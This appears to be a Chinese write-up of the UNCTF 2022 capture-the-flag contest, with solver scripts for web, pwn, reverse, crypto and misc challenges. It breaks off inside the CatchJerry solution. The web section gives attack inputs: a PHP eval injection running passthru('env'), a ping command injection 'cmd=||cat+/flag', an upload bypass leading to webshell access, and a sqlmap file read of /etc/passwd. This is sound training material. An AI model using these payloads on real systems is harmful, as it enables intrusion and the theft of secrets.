题量太多了,比赛结束之后又要做一遍…
注:最后给出的均为题目解出的flag,提交时需将格式修改为UNCTF{}
文章目录
- Web
- 我太喜欢bilibili大学啦
- ezgame
- 签到
- babyphp
- easy_upload
- 给你一刀
- 我太喜欢bilibili大学啦修复版
- 302与深大
- 随便注
- Pwn
- welcomeUNCTF2022
- 剪刀石头布
- Reverse
- whereisyourkey
- ezzzzre
- Sudoku
- Crypto
- md5-1
- md5-2
- dddd
- caesar
- ezRSA
- Single table
- Multi table
- babyRSA
- easy_RSA
- ezxor
- 今晚吃什么
- 超级加倍
- EZcry
- Misc
- magic_word
- 找得到我吗
- syslog
- 社什么社
- In_the_Morse_Garden
- 巨鱼
- zhiyin
- 清和fan
- 芝麻开门
- 剥茧抽丝
- 我小心海也绝非鳝类
- MY PICTURE
- CatchJerry
- 贝斯家族的侵略
- 峰回路转
- *nanoNumble
Web
我太喜欢bilibili大学啦
题目问题,直接搜UNCTF
ezgame
直接查看main.js,搜UNCTF
注意到
['86VkibmA','fe7b163f8d','6833565vBFVDj','23742ODGjjF','unctf{c5f9','d3}','1335DfKYdi','6442920PCnqhb','781140poNcpx','a27d-6f88-','795305dViflS','1569524rbiRmt','49fb-a510-','88IpXszc','13033ieCwIU','6GgaKPA']
提出flag字符串,内容满足uuid
fe7b163f8d
,unctf{c5f9','d3}
,a27d-6f88-
,49fb-a510-
根据uuid格式,组合能得到两种可能的flag
1.unctf{c5f9a27d-6f88-49fb-a510-fe7b163f8dd3}
2.unctf{c5f949fb-a510-a27d-6f88-fe7b163f8dd3}
没记错的话好像是第一个
签到
查看源码发现提示账号密码为20200101,但是登陆只显示登陆成功,在测试的时候发现改成20200102回显的字母f,那么很明显只需要递增账号密码即可
import requests
url = 'http://be526b1c-4260-4ec6-bfa4-794bc411da1e.node.yuzhian.com.cn/index.php'
for i in range(20200101,20200150):
data = {'username':str(i),'password':str(i)}
r = requests.post(url=url,data=data).text
print(r[-5],end='')
babyphp
一进去是apache2的配置页面,想必dockerfile没有把index.php作为主页,因此手动访问一下index.php,得到题目源码
<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_POST["a"])){
if($_POST["a"]==0&&$_POST["a"]!==0){
if(isset($_POST["key1"])&isset($_POST["key2"])){
$key1=$_POST["key1"];
$key2=$_POST["key2"];
if ($key1!==$key2&&sha1($key1)==sha1($key2)){
if (isset($_GET["code"])){
$code=$_GET["code"];
if(!preg_match("/flag|system|txt|cat|tac|sort|shell|\.| |\'/i", $code)){
eval($code);
}else{
echo "有手就行</br>";
}
}else{
echo "老套路了</br>";
}
}else{
echo "很简单的,很快就拿flag了~_~</br>";
}
}else{
echo "百度就能搜到的东西</br>";
}
}else{
echo "easy 不 easy ,baby 真 baby,都是玩烂的东西,快拿flag!!!</br>";
}
第一二关考点为php特性、第三关命令执行
第一关a=0a
,第二关传数组均返回Null,第三关使用passthru函数
post:a=0a&key1[1]=1&key2[2]=2
get:?code=passthru("env");
easy_upload
测试后发现只能上传type为png的文件
蚁剑连接,flag在/home/ctf/flag
给你一刀
ThinkPHP,直接工具梭
蚁剑连接,flag在环境变量里
我太喜欢bilibili大学啦修复版
提示有两个hint,那么打开之后直接搜hint,得到YWRtaW5fdW5jdGYucGhw
,解base得到admin_unctf.php
访问
打开看是一个登录页面,源代码提示<!--没有思路的时候呢,或许捉个包是看看一种选择?-->
解base得到hint2:unctf2022/unctf2022
用该账号密码登录后得到源码
<?php
putenv("FLAG=nonono");
if(!isset($_POST['username']) && !isset($_POST['password'])){
exit("username or password is empty");
}else{
if($_POST['username'] === "unctf2022" && $_POST['password'] === "unctf2022"){
show_source(__FILE__);
@system("ping ".$_COOKIE['cmd']);
}else{
exit("username or password error");
}
}
经典ping,dvwa里也是用的Ping给大伙演示的,这里直接管道符来执行我们的命令
cmd=||cat+/flag
解base得到一个bilibili的主页
302与深大
源代码提示这是个302重定向的界面,你能找到原来的界面吗
于是抓包
首先改包类型为post,然后传入指定内容
接着要求是admin,这里测试后发现需要admin=ture
得到phpinfo的界面,直接搜unctf即可
随便注
这道题sqlmap直接梭,但是翻了二十多分钟的库发现没有flag,于是想着下载文件,测试/etc/passwd后发现可以下载,之后根据之前flag存放地址猜测在根目录最后得到flag
Pwn
welcomeUNCTF2022
和pwn没啥关系,只要输入的和s2的内容相等即可,即输入UNCTF&2022
剪刀石头布
还是和pwn没什么关系,刚看题目名字以为要溢出覆盖seed地址。结果是直接给出了seed
在main函数给出了srand(0xAu);
直接拿值
#include <stdio.h>
#include <stdlib.h>
int main()
{
int b;
srand(10u);
for (size_t i = 0; i <=99; i++)
{
b = rand() % 3 ;
printf("%d,", b);
}
return 0;
}
注意不要在windows下运行,得到的答案不一样
得到
1,1,2,2,0,2,2,1,2,2,2,2,0,0,2,1,0,1,2,0,0,1,1,1,1,2,1,1,1,0,0,2,0,1,2,0,0,1,0,2,1,2,1,2,0,1,1,1,0,0,2,0,2,1,2,1,0,0,2,2,1,1,2,1,2,2,2,2,1,0,2,0,2,0,0,1,2,2,2,0,0,1,0,1,0,0,2,0,1,0,0,2,1,1,1,1,0,1,1,2
table = '1,1,2,2,0,2,2,1,2,2,2,2,0,0,2,1,0,1,2,0,0,1,1,1,1,2,1,1,1,0,0,2,0,1,2,0,0,1,0,2,1,2,1,2,0,1,1,1,0,0,2,0,2,1,2,1,0,0,2,2,1,1,2,1,2,2,2,2,1,0,2,0,2,0,0,1,2,2,2,0,0,1,0,1,0,0,2,0,1,0,0,2,1,1,1,1,0,1,1,2'.split(',')
print(len(table))
context.log_level="debug"
p = remote('node.yuzhian.com.cn',34511)
p.recvuntil(b'later?(y/n)\n')
p.sendline(b'y')
for i in range(100):
p.recvuntil(b'round')
p.recvuntil(b'\n')
guessnum = (int(table[i])-1)%3
p.sendline(str(guessnum).encode())
p.interactive()
Reverse
whereisyourkey
key = [118,103,112,107,99,109,104,110,99,105]
for i in key:
if(i == 109):
print(chr(109),end='')
elif(i <= 110):
print(chr(i-2),end='')
else:
print(chr(i+3),end='')
#yesiamflag
UNCTF{yesiamflag}
ezzzzre
IDA打开只有几个函数,明显加壳,010打开直接看到UPX
解压缩一下
upx -d ezzzzre.exe
s = b'HELLOCTF'
for i in range(len(s)):
print(chr(s[i] * 2 - 69),end='')
#KESSYAcG
UNCTF{KESSYAcG}
Sudoku
这题直接运行,明显数独是错误的,那么直接从源码里看数独的值
双击unk_4051C0,导出数据,写个脚本处理一下
s1 = '00 00 00 00 02 00 00 00 08 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 00 00 00 00 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 04 00 00 00 02 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 07 00 00 00 03 00 00 00 00 00 00 00 07 00 00 00 00 00 00 00 03 00 00 00 00 00 00 00 00 00 00 00 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 03 00 00 00 00 00 00 00 09 00 00 00 06 00 00 00 07 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 08 00 00 00'.split(' ')
for i in range(0,len(s),4):
if((i//4)%9 == 0):
print()
print(int(s[i]),end=' ')
用在线平台解一下:https://shudu.gwalker.cn/
得到之后再手动输入
然后把值+50再chr即可,即79 65 79 74 89 75 79 70 82
得到OAOJYKOFR
UNCTF{OAOJYKOFR}
Crypto
md5-1
爆破即可
from hashlib import md5
import string
table = string.printable
f = open('out.txt','r').read().splitlines()
for i in f:
for j in table:
s = md5(j.encode()).hexdigest()
if(s == i):
print(j,end='')
break
#UNCTF{e84fed028b9046fc0e8f080e96e72184}
md5-2
后面也是爆破,只是前面多了个异或的步骤
from hashlib import md5
import string
table = string.printable
f = open('out.txt','r').read().splitlines()
_md5 = []
for i in range(len(f)):
if(i == 0):
_md5.append(f[i])
else:
_md5.append(hex(int(f[i],16) ^ int(_md5[i-1],16))[2:].zfill(32))
for i in _md5:
for j in table:
s = md5(j.encode()).hexdigest()
if(s == i):
print(j,end='')
break
#UNCTF{a197271943ceb3c3fe98bcadf10c29d4}
dddd
110/01/0101/0/1101/0000100/0100/11110/111/110010/0/1111/10000/111/110010/1000/110/111/0/110010/00/00000/101/111/1/0000010
第六个和最后一个很长明显是{},其他的长度基本都是5以内除了一个110010猜测为_,那么猜测为摩斯密码
记事本替换一下得到..-/-./-.-./-/..-./----.--/-.--/....-/.../..--.-/-/..../.----/.../..--.-/.---/..-/.../-/..--.-/--/-----/.-./..././-----.-
解一下摩斯https://tool.bugku.com/mosi/得到UNCTF%u7bY4S_TH1S_JUST_M0RSE%u7d
,换成{}即可
caesar
base64的表,写脚本爆破即可
s = 'B6vAy{dhd_AOiZ_KiMyLYLUa_JlL/HY_}'
table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
for key in range(64):
for i in range(len(s)):
try:
print(table[(table.index(s[i])-key)%64],end='')
except:
print(s[i],end='')
print()
最后多了个_去掉,不知道更没更新附件这个附件是最开始的附件了
ezRSA
用yafu分解发现n是一个数的4次方
import gmpy2
import binascii
e = 65537
n = 62927872600012424750752897921698090776534304875632744929068546073325488283530025400224435562694273281157865037525456502678901681910303434689364320018805568710613581859910858077737519009451023667409223317546843268613019139524821964086036781112269486089069810631981766346242114671167202613483097500263981460561
c = 56959646997081238078544634686875547709710666590620774134883288258992627876759606112717080946141796037573409168410595417635905762691247827322319628226051756406843950023290877673732151483843276348210800329658896558968868729658727981445607937645264850938932045242425625625685274204668013600475330284378427177504
p = 89065756791595323358603857939783936930073695697065732353414009005162022399741
L = (p**4-p**3)
d = gmpy2.invert(e,L)
m = gmpy2.powmod(c,d,n)
print(binascii.unhexlify(hex(m)[2:]))
#unctf{pneum0n0ultram01cr0sc0p01cs01l01c0v0lcan0c0n010s01s}
Single table
我的理解是,取对角,例如TH->IS,EC->ZH,至于在一条线上的我就单纯看语义了
解题:
Multi table
先爆破出key,再逆
from string import ascii_uppercase
base_table = ['J', 'X', 'I', 'S', 'E', 'C', 'R', 'Z', 'L', 'U', 'K', 'Q', 'Y', 'F', 'N', 'V', 'T', 'P', 'O', 'G', 'A', 'H', 'D', 'W', 'M', 'B']
# base_table=list(ascii_uppercase)
table = []
for i in range(26):
table.append(ascii_uppercase[i:] + ascii_uppercase[:i])
for l in range(26):
for j in range(26):
for k in range(26):
for n in range(26):
key = [0]*4
key[0],key[1],key[2],key[3] = l,j,k,n
c=''
x=0
for i in range(len(key_flag)):
if key_flag[i] in ascii_uppercase:
c+=table[key[x%4]][base_table.index(key_flag[i])]
x+=1
else:
c+=key_flag[i]
if(c == enc_key_flag):
print(key)
#[9, 15, 23, 16]
然后逆
from string import ascii_uppercase
base_table = ['J', 'X', 'I', 'S', 'E', 'C', 'R', 'Z', 'L', 'U', 'K', 'Q', 'Y', 'F', 'N', 'V', 'T', 'P', 'O', 'G', 'A', 'H', 'D', 'W', 'M', 'B']
# base_table=list(ascii_uppercase)
table = []
for i in range(26):
table.append(ascii_uppercase[i:] + ascii_uppercase[:i])
key = [9, 15, 23, 16]
flag = ''
enc_flag = 'SDCGW{MPN_VHG_AXHU_GERA_SM_EZJNDBWN_UZHETD}'
x = 0
for m in range(len(enc_flag)):
if(enc_flag[m] in ascii_uppercase):
for i in ascii_uppercase:
temp = table[key[(x)%4]][base_table.index(i)]
if(temp == enc_flag[m]):
flag += i
break
x += 1
else:
flag += enc_flag[m]
print(flag)
#UNCTF{WOW_YOU_KNOW_THIS_IS_VIGENERE_CIPHER}
babyRSA
没懂M有啥用,直接低加密指数攻击
import gmpy2
import binascii
e = 6
n = 25300208242652033869357280793502260197802939233346996226883788604545558438230715925485481688339916461848731740856670110424196191302689278983802917678262166845981990182434653654812540700781253868833088711482330886156960638711299829638134615325986782943291329606045839979194068955235982564452293191151071585886524229637518411736363501546694935414687215258794960353854781449161486836502248831218800242916663993123670693362478526606712579426928338181399677807135748947635964798646637084128123883297026488246883131504115767135194084734055003319452874635426942328780711915045004051281014237034453559205703278666394594859431
c = 15389131311613415508844800295995106612022857692638905315980807050073537858857382728502142593301948048526944852089897832340601736781274204934578234672687680891154129252310634024554953799372265540740024915758647812906647109145094613323994058214703558717685930611371268247121960817195616837374076510986260112469914106674815925870074479182677673812235207989739299394932338770220225876070379594440075936962171457771508488819923640530653348409795232033076502186643651814610524674332768511598378284643889355772457510928898105838034556943949348749710675195450422905795881113409243269822988828033666560697512875266617885514107
i = 0
while True:
if gmpy2.iroot((c+i*n),6)[1] == True:
m = gmpy2.iroot((c+i*n),6)[0]
break
i += 1
print(binascii.unhexlify(hex(m)[2:]))
#UNCTF{27a0aac7-76cb-427d-9129-1476360d5d1b}
easy_RSA
套摸板 已知一个因子的高位
#原理为f(p)=pbar+x,pbar为高位,x未知
def p_part(n,e,c,pbar,kbits=200):
PR.<x> = PolynomialRing(Zmod(n))
f = x + pbar
x0 = f.small_roots(X=2^kbits, beta=0.4)[0]
p = x0 + pbar
return p
e=0x10001
c=6423951485971717307108570552094997465421668596714747882611104648100280293836248438862138501051894952826415798421772671979484920170142688929362334687355938148152419374972520025565722001651499172379146648678015238649772132040797315727334900549828142714418998609658177831830859143752082569051539601438562078140
N=102089505560145732952560057865678579074090718982870849595040014068558983876754569662426938164259194050988665149701199828937293560615459891835879217321525050181965009152805251750575379985145711513607266950522285677715896102978770698240713690402491267904700928211276700602995935839857781256403655222855599880553
#因子的高位,一般以p>>x<<x或者p>>x形式给
pbar=0xfb14fd93d89af7d5313718a665b4dd20bc6263c565e01821963ea70ff55d57ab32e859d845d90100000000000000000000000000000000000000000000000000
#kbits填入x,若x未知,可以进行爆破,x不是任意的数,有限制
kbits=200
p=p_part(N,e,c,pbar,kbits)
print(p)
#13150231070519276795503757637337326535824298772055543325920447062237907554543786311611680606624189166397403108357856813812282725390555389844248256805325917
然后正常解rsa
import gmpy2
import binascii
e=0x10001
c=6423951485971717307108570552094997465421668596714747882611104648100280293836248438862138501051894952826415798421772671979484920170142688929362334687355938148152419374972520025565722001651499172379146648678015238649772132040797315727334900549828142714418998609658177831830859143752082569051539601438562078140
n=102089505560145732952560057865678579074090718982870849595040014068558983876754569662426938164259194050988665149701199828937293560615459891835879217321525050181965009152805251750575379985145711513607266950522285677715896102978770698240713690402491267904700928211276700602995935839857781256403655222855599880553
p = 13150231070519276795503757637337326535824298772055543325920447062237907554543786311611680606624189166397403108357856813812282725390555389844248256805325917
q = n//p
L = (p-1)*(q-1)
d = gmpy2.invert(e,L)
m = gmpy2.powmod(c,d,n)
print(binascii.unhexlify(hex(m)[2:]))
#flag{It is a very_intersting_test!!!}
ezxor
百度找脚本
import binascii
ciphertexts = ['1c2063202e1e795619300e164530104516182d28020005165e01494e0d',
'2160631d325b3b421c310601453c190814162d37404510041b55490d5d',
'3060631d325b3e59033a1252102c560207103b22020613450549444f5d',
'3420277421122f55067f1207152f19170659282b090b56121701405318',
'212626742b1434551b2b4105007f110c041c7f361c451e0a02440d010a',
'75222a22230877102137045212300409165928264c091f131701484f5d',
'21272d33661237441a7f005215331706175930254c0817091b4244011c',
'303c2674311e795e103a05520d300600521831274c031f0b160148555d',
'3c3d63232909355455300752033a17175e59372c1c0056111d01474813',
'752b22272f1e2b10063e0816452b1e041c593b2c02005a450649440110',
'396e2f3d201e795f137f07130c2b1e450510332f4c08170e17014d481b' ]
#转换为16进制数字
ciphertexts = [binascii.unhexlify(x) for x in ciphertexts]
#解密目标
target_ciphertext = ciphertexts[-1]
suspect_num=[]
#进行异或,zip函数将长的字符串截取到和短的字符串相同的长度
def strxor(a, b):
return "".join([chr(x ^ y) for x, y in zip(a, b)])
key = [0] * 29
max_space_count=[0]*29
#开始做异或,有c1⊕c2=m1⊕k⊕m2⊕k=m1⊕m2
for ciphertext_a in ciphertexts:
space_suspect_counts = [0] * len(ciphertext_a)
for ciphertext_b in ciphertexts:
#如果遇到自己,跳过,不和自己做异或
if ciphertext_a == ciphertext_b:
continue
#开始两两异或
a_xor_b = strxor(ciphertext_a, ciphertext_b)
for char_idx, xor_resulting_char in enumerate(a_xor_b):
#一个大写字母与空格异或,结果为其对应的小写字母;一个小写字母与空格异或,结果为其对应的大写字母。
ascii_null = "\x00"
#isaplha()函数:判断字符串中是否是字母
if xor_resulting_char.isalpha() or xor_resulting_char == ascii_null:
#获得可能的空格位置,统计这个位置和其他字符串异或出现字母的次数
space_suspect_counts[char_idx] += 1
#开始假设空格位置来自于ciphertext_a,如果统计的某个位置上满足要求的次数大于等于我所期望的次数,
#那么我们假设这个位置上就是空格且来自与ciphertext_a中对应的位置
#space_tolerance_threshold = 0.8
for char_idx, suspect_count in enumerate(space_suspect_counts):
#判断出现的次数是否满足要求
if suspect_count >= max_space_count[char_idx]:
#通过判断得知密文这个位置上大概率是space,所以,此时 m=space,所以 c⊕space=m⊕k⊕space=k,从而可以求的key值
whitespace = ord(" ")
suspect_key=ciphertext_a[char_idx] ^ whitespace
#增加判断,将空格再与其他密文对应位置异或,如果满足全部是在字母范围内,再添加进key值。
for ciphertext_b in ciphertexts:
if char_idx<len(ciphertext_b):
if(0x41<=ciphertext_b[char_idx]^suspect_key<=0x7A):
max_space_count[char_idx] = suspect_count
key[char_idx]=suspect_key
i=0
target_plaintext=[0]*11
for ciphertext_c in ciphertexts:
target_plaintext[i]= strxor(ciphertext_c,key)
print(''.join(chr(i) for i in key))
print(f"明文{i}:{target_plaintext[i]}")
i+=1
手动改一下,再验证一下
UNCTF{Y0u_are_very_Clever!!!}
今晚吃什么
解两次培根得到CRYPROISFUN
超级加倍
yafu分解的时候发现正好是一个数的4次方,于是开方并n2s
import gmpy2
import libnum
n = 364948328635256862807658970246807356738683637564484151183420122283833769442806688034764747801289594899501872549412387392353830842750341246881725380294423193634163908298756097744423833369487321345708403908358587818931161805853745707954962941881920962518131654701890269025702523666873057795301975752113492236398361724355733200822450695761
print(libnum.n2s(int(gmpy2.iroot(n, 4)[0])))
EZcry
提示流密码那么说明为RC4,然后对两段分别n2s,发现key为12345678,把密文base64一下然后解rc4即可
b’12345678’
b’3Z9Ys3KJ7cLEATOrnwQ5wUCq/nz9UB+MPXmxhWyb2lmM40oCpXw=’
Misc
magic_word
所以为什么题目写的乱码,而不是说特殊字体(dingbat)
直接复制出来用http://330k.github.io/misc_tools/unicode_steganography.html解即可
unctf{We1come_new_ctfer}
找得到我吗
改成zip解压,然后用notepad++搜文件夹下的文件是否包含"flag{"
flag{You_find_me!}
syslog
直接搜password
解一下base64
password is U6nu2_i3_b3St,解压缩包即可
unctf{N1_sH3_D0n9_L0g_dE!}
社什么社
直接看不怎么看得出来,写个脚本黑白一下
from PIL import Image
f = open('flag.txt','r').read().splitlines()
w,h = len(f[0]),len(f)
pic = Image.new('L',(w,h),0)
for i in range(h):
for j in range(w):
if(f[i][j] == '_'):
pic.putpixel((j,i),(255))
pic.show()
有很明显的倒影和古城,再结合出题人是湖南的
UNCTF{4F0198127A45F66C07A5B1A2DDA8223C}
In_the_Morse_Garden
文字颜色被设置为了白色,全选即可复制出来
UNCTF{5L6d5Y+k5q+U5Y+k546b5Y2h5be05Y2h546b5Y2h5be05Y2hIOS+neWPpOavlOWPpOeOm +WNoeW3tOWNoSDnjpvljaHlt7TljaHkvp3lj6Tmr5Tlj6Qg5L6d5Y+k5q+U5Y+k5L6d5Y+k5q+U5Y+k5 46b5Y2h5be05Y2h546b5Y2h5be05Y2h5L6d5Y+k5q+U5Y+k546b5Y2h5be05Y2hIOS+neWPpOavlO WPpOeOm+WNoeW3tOWNoSDnjpvljaHlt7TljaHkvp3lj6Tmr5Tlj6Qg5L6d5Y+k5q+U5Y+k5L6d5Y+k 5q+U5Y+k546b5Y2h5be05Y2h546b5Y2h5be05Y2h5L6d5Y+k5q+U5Y+k546b5Y2h5be05Y2hIOeOm +WNoeW3tOWNoeeOm+WNoeW3tOWNoSDkvp3lj6Tmr5Tlj6TnjpvljaHlt7TljaEg546b5Y2h5be05Y 2h5L6d5Y+k5q+U5Y+k546b5Y2h5be05Y2hIOS+neWPpOavlOWPpOeOm+WNoeW3tOWNoSDkvp3 lj6Tmr5Tlj6Tkvp3lj6Tmr5Tlj6TnjpvljaHlt7TljaHnjpvljaHlt7TljaHkvp3lj6Tmr5Tlj6TnjpvljaHlt7TljaEg54 6b5Y2h5be05Y2h5L6d5Y+k5q+U5Y+k5L6d5Y+k5q+U5Y+k5L6d5Y+k5q+U5Y+kIOS+neWPpOavlOW PpOeOm+WNoeW3tOWNoSDnjpvljaHlt7TljaHkvp3lj6Tmr5Tlj6TnjpvljaHlt7TljaEg5L6d5Y+k5q+U5Y +k546b5Y2h5be05Y2hIOS+neWPpOavlOWPpOeOm+WNoeW3tOWNoSDkvp3lj6Tmr5Tlj6Tnjpvlja Hlt7TljaEg5L6d5Y+k5q+U5Y+k546b5Y2h5be05Y2hIOS+neWPpOavlOWPpOeOm+WNoeW3tOWN oSDnjpvljaHlt7TljaHkvp3lj6Tmr5Tlj6TnjpvljaHlt7TljaHkvp3lj6Tmr5Tlj6TnjpvljaHlt7TljaHnjpvljaHlt7T ljaE=}
解一下中间部分
依古比古玛卡巴卡玛卡巴卡 依古比古玛卡巴卡 玛卡巴卡依古比古 依古比古依古比古玛卡巴卡玛卡巴卡依古比古玛卡巴卡 依古比古玛卡巴卡 玛卡巴卡依古比古 依古比古依古比古玛卡巴卡玛卡巴卡依古比古玛卡巴卡 玛卡巴卡玛卡巴卡 依古比古玛卡巴卡 玛卡巴卡依古比古玛卡巴卡 依古比古玛卡巴卡 依古比古依古比古玛卡巴卡玛卡巴卡依古比古玛卡巴卡 玛卡巴卡依古比古依古比古依古比古 依古比古玛卡巴卡 玛卡巴卡依古比古玛卡巴卡 依古比古玛卡巴卡 依古比古玛卡巴卡 依古比古玛卡巴卡 依古比古玛卡巴卡 依古比古玛卡巴卡 玛卡巴卡依古比古玛卡巴卡依古比古玛卡巴卡玛卡巴卡
根据题目描述,将依古比古转为. 玛卡巴卡转为-
UNCTF{WAN_AN_MAKA_BAKAAAAA!}
巨鱼
放进010显示chunk[0]错误,且文件尾有PK头,猜测考点为文件分离+修复图片高度
随便加高一下图片高度并手动分离出压缩包
得到密码,解压出来。
里面的压缩包直接解压显示头错误,010查看,发现是出题人将两个文件的目录区加密位改成了01,于是手动改为00
里面有个PPT和一个密码,密码是C6H6Cl6的一张图,有个别名叫六六六,于是将666作为密码读ppt文件
没有直接找到flag,且文件是加密的无法直接解压,于是将密码去除掉并将ppt改为zip文件解压,notepad++搜文件夹中’unctf’
UNCTF{y0u_F1nd_1t!}
zhiyin
zhiyin.png末尾有段摩斯密码,解一下得到_UNC7F!!!
lanqiu.jpg是字节倒过来的jpg文件,脚本转一下
f = open('flag.jpg','wb').write(open("lanqiu.jpg",'rb').read()[::-1])
多次测试后最后得到解压密码Go_p1ay_unc7f!!!
flag{M1sic_1s_greAt}
清和fan
首先是解压密码
密码为清和B站uid下划线最高播放量视频发布日期,例123456_2020/01/01
得到密码为836885_2022/05/20
,解压得到图片和压缩包,图片存在LSB隐写,说实话这种题有点打广告的感觉不是很喜欢…
解压出来神秘电波很明显的sstv
得到密码V@mpir3,解压得到一段文字,一猜即零宽,当然拿vim打开一看也能明显看到
unctf{wha1e_wants_a_girlfriend_like_alicia}
芝麻开门
key拉到最下面能看到a2V5MQ==
,解一下得到key1
图片用stegsolve很明显看到存在lsb,结合有密码猜测为cloacked-pixel工具隐写
python .\lsb.py extract .\flag.png outs.txt key1
flag{faf5bdd5-ba3d-11da-ad31-d33d75182f1b}
剥茧抽丝
脑洞但又不脑洞,不是很好说
第一层我真的是想测测马,一直在掩码最后试了下直接解压居然密码就是S?e?a?o?r?p?y
第二层明显有零宽,用vim查看也能发现用的字符也就是200c 200d 202c feff
再结合最后有个大写的D,我怀疑是藏字节里了,于是下载二进制文件,果然得到了密码PAsS_w0rD
但是不能解开该压缩包,用7z打开加密压缩包之后发现里面有个txt和一个压缩包,结合该压缩包文件名为2.txt猜想和1.txt的关系,去掉零宽之后保存1.txt发现CRC值与2.txt的相同,于是猜想为明文攻击,default即可。使用bandizip打包
用ARCHPR攻击一会停止之后即会显示恢复成功(不需要恢复出密码)
点确定就行了,会跳出来保存
里面的压缩包密码就是刚刚得到的PAsS_w0rD
unctf{d4a3a242-cd32-4dd5-bac6-84bdf13f527f}
我小心海也绝非鳝类
能看清I
和l
的出题人都是好出题人好人一生平安。F#S<YIcHnAG;
文件尾有段RUFTWUxTQg==
解base64得到EASYLSB
依旧猜想为cloacked-pixel工具隐写
尝试python .\lsb.py extract .\我小心海也绝非鳝类.png outs2.txt F#S<YIcHnAG;
显示乱码,猜测密码需要解码,测试发现为base92 密码为flaginmd5
python .\lsb.py extract .\我小心海也绝非鳝类.png outs2.txt flaginmd5
得到8FA14CDD754F91CC6554C9E71929CCE72DB95E8E1A9267B7A1188556B2013B330CC175B9C0F1B6A831C399E269772661B2F5FF47436671B6E533D8DC3614845DF95B70FDC3088560732A5AC135644506F1290186A5D0B1CEAB27F4E77C0C5D68E1671797C52E15F763380B45E841EC322DB95E8E1A9267B7A1188556B2013B334A8A08F09D37B73795649038408B5F33D95679752134A2D9EB61DBD7B91C4BCC6F8F57715090DA2632453988D9A1501BE1671797C52E15F763380B45E841EC32B14A7B8059D9C055954C92674CE60032E358EFA489F58062F10DD7316B65649ED95679752134A2D9EB61DBD7B91C4BCCB14A7B8059D9C055954C92674CE600326F8F57715090DA2632453988D9A1501B865C0C0B4AB0E063E5CAA3387C1A874103C7C0ACE395D80182DB07AE2C30F0344A8A08F09D37B73795649038408B5F33CBB184DD8E05C9709E5DCAEDAA0495CF
长度为672,正好能被32整除,将1-32拿去cmd解得到flag,用之前md5-1的脚本解一下
s = '8FA14CDD754F91CC6554C9E71929CCE72DB95E8E1A9267B7A1188556B2013B330CC175B9C0F1B6A831C399E269772661B2F5FF47436671B6E533D8DC3614845DF95B70FDC3088560732A5AC135644506F1290186A5D0B1CEAB27F4E77C0C5D68E1671797C52E15F763380B45E841EC322DB95E8E1A9267B7A1188556B2013B334A8A08F09D37B73795649038408B5F33D95679752134A2D9EB61DBD7B91C4BCC6F8F57715090DA2632453988D9A1501BE1671797C52E15F763380B45E841EC32B14A7B8059D9C055954C92674CE60032E358EFA489F58062F10DD7316B65649ED95679752134A2D9EB61DBD7B91C4BCCB14A7B8059D9C055954C92674CE600326F8F57715090DA2632453988D9A1501B865C0C0B4AB0E063E5CAA3387C1A874103C7C0ACE395D80182DB07AE2C30F0344A8A08F09D37B73795649038408B5F33CBB184DD8E05C9709E5DCAEDAA0495CF'
flag = []
tmp = ''
for i in range(len(s)):
tmp += s[i].lower()
if(len(tmp) == 32):
flag.append(tmp)
tmp = ''
# print(flag)
from hashlib import md5
import string
table = string.printable
for i in flag:
for j in table:
s = md5(j.encode()).hexdigest()
if(s == i):
print(j,end='')
break
#flag{welcome_to_misc}
flag{welcome_to_misc}
MY PICTURE
难度比前面有的题简单挺多,首先得到无拓展名文件,010查看PK头于是补.zip解压
dat文件观察第3 4字节为8d 8a猜测为03 04,因此猜测该文件为zip文件
导出解压,得到encode.py文件。
from PIL import Image as im
flag = im.open('flag.jpg','r')
l,h=flag.size
puzzle=im.new('RGB',(h,l))
print(puzzle)
for i in range(l):
for j in range(h):
r,g,b=flag.getpixel((i,j))
r=r^g
g=g^b
b=b^r
puzzle.putpixel(((i*787+j)//1200,(i*787+j)%1200),(b,g,r))
puzzle.save('flag.png')
flag.close()
puzzle.close()
很明显的换了高宽、进行了异或而已,改一下即可
from PIL import Image as im
flag = im.open('flag.png','r')
l,h=flag.size
puzzle=im.new('RGB',(h,l))
print(puzzle)
for i in range(l):
for j in range(h):
r,g,b=flag.getpixel((i,j))
b = b ^ r
g = g ^ b
r = r ^ g
puzzle.putpixel(((i*1200+j)//787,(i*1200+j)%787),(b,g,r))
puzzle.save('flag2.png')
flag.close()
puzzle.close()
UNCTF{93bb442f-2a76-2b6f-c42f-c2297f5fdaf9}
CatchJerry
原题改:https://github.com/TheMaccabees/ctf-writeups/blob/master/HexionCTF2020/T&J/README.md
首先导出usb数据
tshark.exe -r .\CatchJerry.pcapng -T fields -e usbhid.data > usb.txt
导出一下鼠标的数据
from textwrap import wrap
def convert_to_signed_char(c):
if c > 127:
return (256-c) * (-1)
else:
return c
# Transform to actual data lines
data_lines = (wrap(line.strip(), 2) for line in open("out.txt").readlines())
data_packets = []
for l in data_lines:
data_packets.append([convert_to_signed_char(int(a, 16)) for a in l])
# Remove trailing data
# data_packets = data_packets[:-1400]
# Write to file
with open("plot.txt", "w") as f:
x = 0
y = 0
for packet in data_packets:
try:
x += packet[1] * 20 # Scale-up X-axis
y -= packet[2] # Invert Y-axis
if packet[0] == 1:
f.write(f"{x} {y}\n")
except:
pass
鼠标数据用plot
导出一下键盘的数据
import os
# os.system("tshark -r test.pcapng -T fields -e usb.capdata > usbdata.txt")
